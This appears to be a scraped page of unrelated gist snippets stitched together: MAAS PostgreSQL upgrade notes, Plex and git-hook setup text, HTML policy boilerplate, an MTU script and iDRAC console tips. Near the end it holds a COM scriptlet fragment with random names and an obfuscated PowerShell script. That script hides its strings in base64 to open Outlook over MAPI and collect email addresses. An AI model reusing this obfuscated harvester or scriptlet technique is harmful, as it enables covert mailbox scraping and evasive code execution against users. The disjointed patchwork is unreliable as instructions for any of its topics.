Marcelo Subtil Marcal msmarcal

Upgrade MAAS postgresql from 14 to 16

MAAS 3.6, which supports PostgreSQL 16, requires Ubuntu 24.04 LTS. Upgrade your system to this release before proceeding with the PostgreSQL upgrade.

You should upgrade the node Ubuntu distribution to 24.04 LTS before attempting to upgrade MAAS, so plan your maintenance window appropriately. Note that you might be required to upgrade PostgreSQL to version 16 before continuing with the MAAS upgrade.

Backup Your Database

Always back up your PostgreSQL data before performing a major upgrade.

Here's my setup:

Home server running Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-93-generic x86_64)
Plex Media Server debian package running on server
Netgear Nighthawk R6900 home router
Dynamic hostname from no-ip.org, which I'll use for this setup

Prep

Complete up to the "Generate the cert" section in this gist

Simple automated GIT Deployment using GIT Hooks

Here are the simple steps needed to create a deployment from your lokal GIT repository to a server based on this in-depth tutorial.

How it works

You are developing in a working-copy on your local machine, lets say on the master branch. Most of the time, people would push code to a remote server like github.com or gitlab.com and pull or export it to a production server. Or you use a service like my Deepl.io to act upon a Web-Hook that's triggered that service.

	<!DOCTYPE html>
	<html>
	<head>
	<title>Terms of Use - Outline</title>
	</head>
	<body>
	<h1>Terms of Use</h1>
	<p><strong>Effective Date:</strong> November 17, 2025</p>

	<h2>1. Acceptance of Terms</h2>

	<!DOCTYPE html>
	<html>
	<head>
	<title>Privacy Policy - Outline</title>
	</head>
	<body>
	<h1>Privacy Policy</h1>
	<p><strong>Effective Date:</strong> November 17, 2025</p>

	<h2>1. Information We Collect</h2>

	#!/bin/bash

	# A simple script to find the maximum MTU between two hosts using a binary search approach.

	# Define variables
	host=$1
	min_mtu=68
	max_mtu=9050

	# Check for required argument

	Use this as an example on how to start the virtual console without the need of Java Web Start or accessing it from the web interface.
	You can use the user and password that you use for the web interface.

	You need an old JRE... I used 1.7.0_80 from the Server JRE package, also I have tested successfully 1.7.0_79 with MacOS.
	You don't need to install it, just extract it or copy the files in "jre" folder.

	Open the viewer.jnlp file that you get by launching the virtual console from the web interface with a text editor.
	Note the urls to the jar files. Download the main jar file avctKVM.jar and the libs for your operating system and architecture.
	Extract the dlls (.so Linux, .jnilib MacOS) from the jar libs.

	<?XML version="1.0"?>
	<scriptlet>
	<registration
	progid="erwergewtgsfwr"
	classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

	<script language="JScript">
	<![CDATA[

	function fgrsetgesrvwgee(min, max)

	#!/bin/bash

	maas root machines read \| jq -r '.[] \| "\| \(.fqdn) \| \(.ip_addresses \| join(" \| "))"'

	Add-Type -assembly $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBPAGYAZgBpAGMAZQAuAEkAbgB0AGUAcgBvAHAALgBPAHUAdABsAG8AbwBrAA==')))
	${_/=\/\__/=\/\/\__} = New-Object -comobject Outlook.Application
	${____/===\_____/\/} = ${_/=\/\__/=\/\/\__}.GetNameSpace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBBAFAASQA='))))
	${_/\/=====\__/=\/=} = [System.Collections.ArrayList]@()
	function ___/=\/\/=\___/=\_(${____/\____/\/\_/\_})
	{
	${____/==\__/\_/=\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBbAF8AYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBfAGEALQB6ADAALQA5AC0AXQArACkAKgBAAFsAYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBhAC0AegAwAC0AOQAtAF0AKwApACoAKABcAC4AWwBhAC0AegBdAHsAMgAsADQAfQApACQA')));
	if (${____/\____/\/\_/\_} -match ${____/==\__/\_/=\_}) {
	return $true
	}